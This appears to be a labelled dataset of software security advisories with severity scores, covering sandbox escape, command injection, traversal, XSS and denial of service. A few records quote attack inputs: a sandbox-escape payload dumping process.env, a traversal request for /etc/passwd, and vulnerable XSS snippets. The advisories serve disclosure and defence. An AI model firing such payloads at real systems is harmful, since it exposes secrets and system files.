-{"id": "52316abccf574f93d7ab", "text": "Sandbox Breakout / Arbitrary Code Execution in pitboss-ng\n\nAll versions of `pitboss-ng` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in pitboss-ng\n\n[Severity: CRITICAL]\n\nAll versions of `pitboss-ng` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n  \n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "bc42134a03c6dea8e801", "text": "OS Command Injection in devcert-sanscache\n\ndevcert-sanscache before 0.4.7 allows remote attackers to execute arbitrary code or cause a Command Injection via the exec function. The variable `commonName` controlled by user input is used as part of the `exec` function without any sanitization.", "text_raw": "OS Command Injection in devcert-sanscache\n\n[Severity: CRITICAL]\n\ndevcert-sanscache before 0.4.7 allows remote attackers to execute arbitrary code or cause a Command Injection via the exec function. The variable `commonName` controlled by user input is used as part of the `exec` function without any sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-14", "split": "train"}
-{"id": "f1152c8b4f868b2a074e", "text": "Regular Expression Denial of Service\n\nA Regular Expression vulnerability was found in nwmatcher before 1.4.4. The fix replacing multiple repeated instances of the \"\\s*\" pattern.", "text_raw": "Regular Expression Denial of Service\n\n[Severity: MEDIUM]\n\nA Regular Expression vulnerability was found in nwmatcher before 1.4.4. The fix replacing multiple repeated instances of the \"\\s*\" pattern.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-07", "split": "train"}
-{"id": "ef837ea3784fb1995a87", "text": "Downloads Resources over HTTP in unicode-json\n\nAffected versions of `unicode-json` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nInstall version 2.0.0 or greater.", "text_raw": "Downloads Resources over HTTP in unicode-json\n\n[Severity: HIGH]\n\nAffected versions of `unicode-json` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nInstall version 2.0.0 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "868e5be9800fd9b012d5", "text": "Directory Traversal in serverabc\n\nAffected versions of `serverabc` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverabc\n\n[Severity: HIGH]\n\nAffected versions of `serverabc` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "6028d015d10e11b5cee2", "text": "Downloads Resources over HTTP in qbs\n\nAffected versions of `qbs` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `qbs`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in qbs\n\n[Severity: HIGH]\n\nAffected versions of `qbs` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `qbs`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "b77c0ac4e809dd44630a", "text": "bounter Null pointer reference\n\nNull pointer reference in CMS_Conservative_increment_obj in RaRe-Technologies bounter version 1.01 and 1.10, allows attackers to conduct Denial of Service attacks by inputting a huge width of hash bucket.", "text_raw": "bounter Null pointer reference\n\n[Severity: HIGH]\n\nNull pointer reference in CMS_Conservative_increment_obj in RaRe-Technologies bounter version 1.01 and 1.10, allows attackers to conduct Denial of Service attacks by inputting a huge width of hash bucket.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-18", "split": "train"}
-{"id": "0fe817d3e7f4c11b6d34", "text": "Improper Input Validation in sails-hook-sockets\n\nSails.js before v1.0.0-46 allows attackers to cause a denial of service with a single request because there is no error handler in sails-hook-sockets to handle an empty pathname in a WebSocket request.", "text_raw": "Improper Input Validation in sails-hook-sockets\n\n[Severity: HIGH]\n\nSails.js before v1.0.0-46 allows attackers to cause a denial of service with a single request because there is no error handler in sails-hook-sockets to handle an empty pathname in a WebSocket request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-24", "split": "train"}
-{"id": "8fc8a178e2a4fcfc5eea", "text": "Division by zero in TFLite's implementation of Split\n\n### Impact\nThe implementation of the `Split` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65):\n\n```cc\nTF_LITE_ENSURE_MSG(context, input_size % num_splits == 0, \"Not an even split\");\nconst int slice_size = input_size / num_splits;\n```\n\nAn attacker can craft a model such that `num_splits` would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d](https://github.com/tensorflow/tensorflow/commit/b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of Split\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `Split` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65):\n\n```cc\nTF_LITE_ENSURE_MSG(context, input_size % num_splits == 0, \"Not an even split\");\nconst int slice_size = input_size / num_splits;\n```\n\nAn attacker can craft a model such that `num_splits` would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d](https://github.com/tensorflow/tensorflow/commit/b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "e5c7b4321006dee6f500", "text": "Improper Input Validation python-gnupg\n\npython-gnupg 0.4.3 allows context-dependent attackers to trick gnupg to decrypt other ciphertext than intended. To perform the attack, the passphrase to gnupg must be controlled by the adversary and the ciphertext should be trusted. Related to a \"CWE-20: Improper Input Validation\" issue affecting the affect functionality component.", "text_raw": "Improper Input Validation python-gnupg\n\n[Severity: HIGH]\n\npython-gnupg 0.4.3 allows context-dependent attackers to trick gnupg to decrypt other ciphertext than intended. To perform the attack, the passphrase to gnupg must be controlled by the adversary and the ciphertext should be trusted. Related to a \"CWE-20: Improper Input Validation\" issue affecting the affect functionality component.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "c5b5d7148b82f29f1734", "text": "Buffer not correctly recycled in Gzip Request inflation\n\n### Impact\nIf GZIP request body inflation is enabled and requests from different clients are multiplexed onto a single connection and if an \nattacker can send a request with a body that is received entirely by not consumed by the application, then a subsequent request\non the same connection will see that body prepended to it's body.\n\nThe attacker will not see any data, but may inject data into the body of the subsequent request\n\n### Workarounds\nThe problem can be worked around by either:\n- Disabling compressed request body inflation by GzipHandler.\n- By always fully consuming the request content before sending a response.\n- By adding a `Connection: close` to any response where the servlet does not fully consume request content.", "text_raw": "Buffer not correctly recycled in Gzip Request inflation\n\n[Severity: MEDIUM]\n\n### Impact\nIf GZIP request body inflation is enabled and requests from different clients are multiplexed onto a single connection and if an \nattacker can send a request with a body that is received entirely by not consumed by the application, then a subsequent request\non the same connection will see that body prepended to it's body.\n\nThe attacker will not see any data, but may inject data into the body of the subsequent request\n\nCVE score is [4.8 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L&version=3.1)\n\n### Workarounds\nThe problem can be worked around by either:\n- Disabling compressed request body inflation by GzipHandler.\n- By always fully consuming the request content before sending a response.\n- By adding a `Connection: close` to any response where the servlet does not fully consume request content.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-02", "split": "train"}
-{"id": "310e37136e9aef006995", "text": "Cross-Site Scripting in swagger-ui\n\nAffected versions of `swagger-ui` are vulnerable to cross-site scripting. This vulnerability exists because `swagger-ui` automatically executes external Javascript that is loaded in via the `url` query string parameter when a `Content-Type: application/javascript` header is included.\n\nAn attacker can create a server that replies with a malicious script and the proper content-type, and then craft a `swagger-ui` URL that includes the location to their server/script in the `url` query string parameter. When viewed, such a link would execute the attacker's malicious script.\n\n## Recommendation\n\nUpdate to 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: HIGH]\n\nAffected versions of `swagger-ui` are vulnerable to cross-site scripting. This vulnerability exists because `swagger-ui` automatically executes external Javascript that is loaded in via the `url` query string parameter when a `Content-Type: application/javascript` header is included.\n\nAn attacker can create a server that replies with a malicious script and the proper content-type, and then craft a `swagger-ui` URL that includes the location to their server/script in the `url` query string parameter. When viewed, such a link would execute the attacker's malicious script.\n\n\n## Recommendation\n\nUpdate to 2.2.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "140042cb8d64cd1334c0", "text": "MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability", "text_raw": "MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-12-15", "split": "train"}
-{"id": "f8fb3b290a918bfc38e3", "text": "Excessive CPU usage\n\nEnvoy, which Pomerium is based on, incorrectly handles resetting of HTTP/2 streams with excessive complexity.  This can lead to high CPU utilization when a large number of streams are reset.\n\n### Impact\n\nThis can result in a DoS condition.\n\n### Patches\nPomerium versions 0.14.8 and 0.15.1 contain an upgraded envoy binary with this vulnerability patched.\n\n### Workarounds\nN/A\n\n### References\n[envoy GSA](https://github.com/envoyproxy/envoy/security/advisories/GHSA-3xh3-33v5-chcc)\n[envoy CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32778)\n[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "text_raw": "Excessive CPU usage\n\n[Severity: HIGH]\n\nEnvoy, which Pomerium is based on, incorrectly handles resetting of HTTP/2 streams with excessive complexity.  This can lead to high CPU utilization when a large number of streams are reset.  \n\n### Impact\n\nThis can result in a DoS condition.\n\n### Patches\nPomerium versions 0.14.8 and 0.15.1 contain an upgraded envoy binary with this vulnerability patched.\n\n### Workarounds\nN/A\n\n### References\n[envoy GSA](https://github.com/envoyproxy/envoy/security/advisories/GHSA-3xh3-33v5-chcc)\n[envoy CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32778)\n[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-10", "split": "train"}
-{"id": "ad71360fceedfaef5624", "text": "Improper Input Validation in net.sf.robocode:robocode.host allows for external service interaction\n\nRobocode through 1.9.3.5 allows remote attackers to cause external service interaction (DNS), as demonstrated by a query for a unique subdomain name within an attacker-controlled DNS zone, because of a .openStream call within java.net.URL.", "text_raw": "Improper Input Validation in net.sf.robocode:robocode.host allows for external service interaction\n\n[Severity: CRITICAL]\n\nRobocode through 1.9.3.5 allows remote attackers to cause external service interaction (DNS), as demonstrated by a query for a unique subdomain name within an attacker-controlled DNS zone, because of a .openStream call within java.net.URL.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-02", "split": "train"}
-{"id": "6bc4ce9279191c7214a1", "text": "objection.js Prototype Pollution vulnerability\n\nobjection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). This issue is patched in version 2.2.16.", "text_raw": "objection.js Prototype Pollution vulnerability\n\n[Severity: CRITICAL]\n\nobjection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). This issue is patched in version 2.2.16.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "f30a0c7d66b2dcad235d", "text": "Remote code execution in Eclipse Theia\n\nIn Eclipse Theia 0.3.9 to 1.8.1, the \"mini-browser\" extension allows a user to preview HTML files in an iframe inside the IDE. But with the way it is made it is possible for a previewed HTML file to trigger an RCE. This exploit only happens if a user previews a malicious file.", "text_raw": "Remote code execution in Eclipse Theia\n\n[Severity: HIGH]\n\nIn Eclipse Theia 0.3.9 to 1.8.1, the \"mini-browser\" extension allows a user to preview HTML files in an iframe inside the IDE. But with the way it is made it is possible for a previewed HTML file to trigger an RCE. This exploit only happens if a user previews a malicious file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "9225ec78f32d0f6a5048", "text": "Reflected XSS when using flashMessages or languageDictionary\n\n### Overview\n\nVersions before and including `11.30.0` are vulnerable to reflected XSS.  An attacker can execute arbitrary code when the library's\n- `flashMessage` feature is utilized and user input or data from URL parameters is incorporated into the `flashMessage`.\n- `languageDictionary` feature is utilized and user input or data from URL parameters is incorporated into the `languageDictionary`.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `auth0-lock` version `11.30.0` or lower and all of the following conditions apply:\n\n- You are utilizing `flashMessage` feature.\n- User input or data from URL parameters is incorporated into the `flashMessage`.\n\nAn example of a vulnerable snippet where query parameters are used to populate the `text` property of a `flashMessage`.\n```js\nvar params = new URLSearchParams(location.search);\nvar errorMessage = params.get('error__message');\nvar showParams = {};\n\nif (!!errorMessage === true) {\n  showParams.flashMessage = {\n    type: 'error',\n    text: 'We were unable to log you in. ' + errorMessage,\n  };\n}\n\nlock.show(showParams);\n```\n\nOR\n\n- You are utilizing `languageDictionary` feature.\n- User input or data from URL parameters is used in `languageDictionary` properties.\n\nAn example of a vulnerable snippet where query parameters are used to populate the `socialLoginInstructions` property of a `languageDictionary`.\n```js\nvar params = new URLSearchParams(location.search);\nvar instruction = params.get('instruction');\n\nvar options = {\n  languageDictionary: {\n    emailInputPlaceholder: \"something@youremail.com\",\n    title: \"title\",\n    socialLoginInstructions: instruction\n  },\n};\n\nvar lock = new Auth0LockPasswordless(\n    CLIENT_ID,\n    DOMAIN,\n    options\n);\n\nlock.show()\n```\n\n### How to fix that?\nUpgrade to version `11.30.1`.\n\n### Will this update impact my users?\nThe fix uses [DOMPurify](https://github.com/cure53/DOMPurify) to sanitise the `flashMessage` and `languageDictionary` inputs. If you are including inline JavaScript in these fields, like `script` tags or `onclick` attributes, these will be removed.", "text_raw": "Reflected XSS when using flashMessages or languageDictionary\n\n[Severity: HIGH]\n\n### Overview\n\nVersions before and including `11.30.0` are vulnerable to reflected XSS.  An attacker can execute arbitrary code when the library's\n- `flashMessage` feature is utilized and user input or data from URL parameters is incorporated into the `flashMessage`.\n- `languageDictionary` feature is utilized and user input or data from URL parameters is incorporated into the `languageDictionary`.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `auth0-lock` version `11.30.0` or lower and all of the following conditions apply:\n\n- You are utilizing `flashMessage` feature.\n- User input or data from URL parameters is incorporated into the `flashMessage`.\n\nAn example of a vulnerable snippet where query parameters are used to populate the `text` property of a `flashMessage`.\n```js\nvar params = new URLSearchParams(location.search);\nvar errorMessage = params.get('error__message');\nvar showParams = {};\n\nif (!!errorMessage === true) {\n  showParams.flashMessage = {\n    type: 'error',\n    text: 'We were unable to log you in. ' + errorMessage,\n  };\n}\n\nlock.show(showParams);\n```\n\nOR\n\n- You are utilizing `languageDictionary` feature.\n- User input or data from URL parameters is used in `languageDictionary` properties.\n\nAn example of a vulnerable snippet where query parameters are used to populate the `socialLoginInstructions` property of a `languageDictionary`.\n```js\nvar params = new URLSearchParams(location.search);\nvar instruction = params.get('instruction');\n\nvar options = {\n  languageDictionary: {\n    emailInputPlaceholder: \"something@youremail.com\",\n    title: \"title\",\n    socialLoginInstructions: instruction\n  },\n};\n\nvar lock = new Auth0LockPasswordless(\n    CLIENT_ID,\n    DOMAIN,\n    options\n);\n\nlock.show()\n```\n\n### How to fix that?\nUpgrade to version `11.30.1`.\n\n### Will this update impact my users?\nThe fix uses [DOMPurify](https://github.com/cure53/DOMPurify) to sanitise the `flashMessage` and `languageDictionary` inputs. If you are including inline JavaScript in these fields, like `script` tags or `onclick` attributes, these will be removed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "94b85700b52e37509f42", "text": "Billion laughs attack in c3p0\n\nc3p0 version < 0.9.5.4 may be exploited by a billion laughs attack when loading XML configuration due to missing protections against recursive entity expansion when loading configuration.", "text_raw": "Billion laughs attack in c3p0\n\n[Severity: HIGH]\n\nc3p0 version < 0.9.5.4 may be exploited by a billion laughs attack when loading XML configuration due to missing protections against recursive entity expansion when loading configuration.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-23", "split": "train"}
-{"id": "5c193ae9889384f2ceba", "text": "Insecure permissions on build temporary rootfs in Singularity\n\n### Impact\n\nInsecure permissions on temporary directories used in explicit and implicit container build operations.\n\nWhen a Singularity command that results in a container build operation is executed, it is possible for a user with access to the system to read the contents of the image during the build. Additionally, if the image contains a world-writable file or directory, it is possible for a user to inject arbitrary content into the running build, which in certain circumstances may enable arbitrary code execution during the build and/or when the built container is run.\n\n### Patches\n\nThis issue is addressed in Singularity 3.6.3.\n\nAll users are advised to upgrade to 3.6.3.\n\n### Workarounds\n\nThe issue is mitigated if `TMPDIR` is set to a location that is only accessible to the user, as any subdirectories directly under `TMPDIR` cannot then be accessed by others. However, this is difficult to enforce so it is not recommended to rely on this as a mitigation.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "text_raw": "Insecure permissions on build temporary rootfs in Singularity\n\n[Severity: HIGH]\n\n### Impact\n\nInsecure permissions on temporary directories used in explicit and implicit container build operations.\n\nWhen a Singularity command that results in a container build operation is executed, it is possible for a user with access to the system to read the contents of the image during the build. Additionally, if the image contains a world-writable file or directory, it is possible for a user to inject arbitrary content into the running build, which in certain circumstances may enable arbitrary code execution during the build and/or when the built container is run.\n\n### Patches\n\nThis issue is addressed in Singularity 3.6.3.\n\nAll users are advised to upgrade to 3.6.3.\n\n### Workarounds\n\nThe issue is mitigated if `TMPDIR` is set to a location that is only accessible to the user, as any subdirectories directly under `TMPDIR` cannot then be accessed by others. However, this is difficult to enforce so it is not recommended to rely on this as a mitigation.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "0a07a989818f81d7b1fb", "text": "Potential Denial-of-Service in bindata\n\nIn the bindata RubyGem before version 2.4.10 there is a potential denial-of-service vulnerability. In affected versions it is very slow for certain classes in BinData to be created. For example `BinData::Bit100000`, `BinData::Bit100001`, `BinData::Bit100002`, `BinData::Bit<N>`. In combination with `<user_input>.constantize` there is a potential for a CPU-based DoS. In version 2.4.10, bindata improved the creation time of Bits and Integers.", "text_raw": "Potential Denial-of-Service in bindata\n\n[Severity: MEDIUM]\n\nIn the bindata RubyGem before version 2.4.10 there is a potential denial-of-service vulnerability. In affected versions it is very slow for certain classes in BinData to be created. For example `BinData::Bit100000`, `BinData::Bit100001`, `BinData::Bit100002`, `BinData::Bit<N>`. In combination with `<user_input>.constantize` there is a potential for a CPU-based DoS. In version 2.4.10, bindata improved the creation time of Bits and Integers.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "42231adf639cea60cebe", "text": "Improper Authorization in googleapis\n\nVersions of `googleapis` prior to 39.1.0 are vulnerable to Improper Authorization. Setting credentials to one client may apply to all clients which may cause requests to be sent with the incorrect credentials.\n\n## Recommendation\n\nUpgrade to version 39.1.0.", "text_raw": "Improper Authorization in googleapis\n\n[Severity: HIGH]\n\nVersions of `googleapis` prior to 39.1.0 are vulnerable to Improper Authorization. Setting credentials to one client may apply to all clients which may cause requests to be sent with the incorrect credentials.\n\n\n## Recommendation\n\nUpgrade to version 39.1.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "c56abe6337806a1ad320", "text": "Arbitrary command execution in roar-pidusage\n\nThis affects all current versions of package roar-pidusage. If attacker-controlled user input is given to the stat function of this package on certain operating systems, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Arbitrary command execution in roar-pidusage\n\n[Severity: MEDIUM]\n\nThis affects all current versions of package roar-pidusage. If attacker-controlled user input is given to the stat function of this package on certain operating systems, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "da01c424e0b2348694e2", "text": "Go Pro Fusion Studio 1.2 Privilege Escalation", "text_raw": "Go Pro Fusion Studio 1.2 Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-09-04", "split": "train"}
-{"id": "9b6d2cb3b7f80496413c", "text": "Multiple cryptographic issues in Python oic\n\n### Impact\n* Client implementations using this library\n\n### Issues\n1) The IdToken signature algorithm was not checked automatically, but only if the expected algorithm was passed in as a kwarg.\n2) JWA `none` algorithm was allowed in all flows.\n3) `oic.consumer.Consumer.parse_authz` returns an unverified IdToken. The verification of the token was left to the discretion of the implementator.\n4) `iat` claim was not checked for sanity (i.e. it could be in the future)\n\n### Patches\n1) IdToken signature is now always checked.\n2) JWA `none` algorithm is now allowed only if using the `response_type` `code`\n3) IdToken verification is now done automatically.\n4) `iat` claim is now checked for sanity.", "text_raw": "Multiple cryptographic issues in Python oic\n\n[Severity: HIGH]\n\n### Impact\n* Client implementations using this library\n\n### Issues\n1) The IdToken signature algorithm was not checked automatically, but only if the expected algorithm was passed in as a kwarg.\n2) JWA `none` algorithm was allowed in all flows.\n3) `oic.consumer.Consumer.parse_authz` returns an unverified IdToken. The verification of the token was left to the discretion of the implementator.\n4) `iat` claim was not checked for sanity (i.e. it could be in the future)\n\n### Patches\n1) IdToken signature is now always checked.\n2) JWA `none` algorithm is now allowed only if using the `response_type` `code`\n3) IdToken verification is now done automatically.\n4) `iat` claim is now checked for sanity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-04", "split": "train"}
-{"id": "76e8b59506915fd979b6", "text": "Cross-site scripting vulnerability in TinyMCE\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the URL sanitization logic of the core parser. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or APIs. This impacts all users who are using TinyMCE 5.5.1 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.6.0 by improved URL sanitization logic.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.6.0 or higher\n- Manually sanitize `iframe`, `object` and `embed` URL attributes using a [TinyMCE node filter](https://www.tiny.cloud/docs/api/tinymce.html/tinymce.html.domparser/#addnodefilter).\n- Disable `iframe`, `object`, and `embed` elements in your content using the [invalid_elements](https://www.tiny.cloud/docs/configure/content-filtering/#invalid_elements) setting.\n\n#### Example: Sanitizing using a node filter\n```js\neditor.parser.addNodeFilter('iframe,object,embed', function(nodes) {\n  nodes.forEach(function(node) {\n    if (node.attributes) {\n      node.attributes.forEach(function(attr) {\n        var name = attr.name;\n        var value = attr.value;\n        // Sanitize the attribute value here or remove it entirely\n        var sanitizedValue = ...;\n        node.attr(name, santizedValue);\n      });\n    }\n  });\n});\n```\n\n#### Example: Using invalid_elements\n```js\ninvalid_elements: 'iframe,object,embed'\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Aaron Bishop at SecurityMetrics for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes56/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "text_raw": "Cross-site scripting vulnerability in TinyMCE\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the URL sanitization logic of the core parser. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or APIs. This impacts all users who are using TinyMCE 5.5.1 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.6.0 by improved URL sanitization logic.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.6.0 or higher\n- Manually sanitize `iframe`, `object` and `embed` URL attributes using a [TinyMCE node filter](https://www.tiny.cloud/docs/api/tinymce.html/tinymce.html.domparser/#addnodefilter).\n- Disable `iframe`, `object`, and `embed` elements in your content using the [invalid_elements](https://www.tiny.cloud/docs/configure/content-filtering/#invalid_elements) setting.\n\n#### Example: Sanitizing using a node filter\n```js\neditor.parser.addNodeFilter('iframe,object,embed', function(nodes) {\n  nodes.forEach(function(node) {\n    if (node.attributes) {\n      node.attributes.forEach(function(attr) {\n        var name = attr.name;\n        var value = attr.value;\n        // Sanitize the attribute value here or remove it entirely\n        var sanitizedValue = ...;\n        node.attr(name, santizedValue);\n      });\n    }\n  });\n});\n```\n\n#### Example: Using invalid_elements\n```js\ninvalid_elements: 'iframe,object,embed'\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Aaron Bishop at SecurityMetrics for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes56/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us 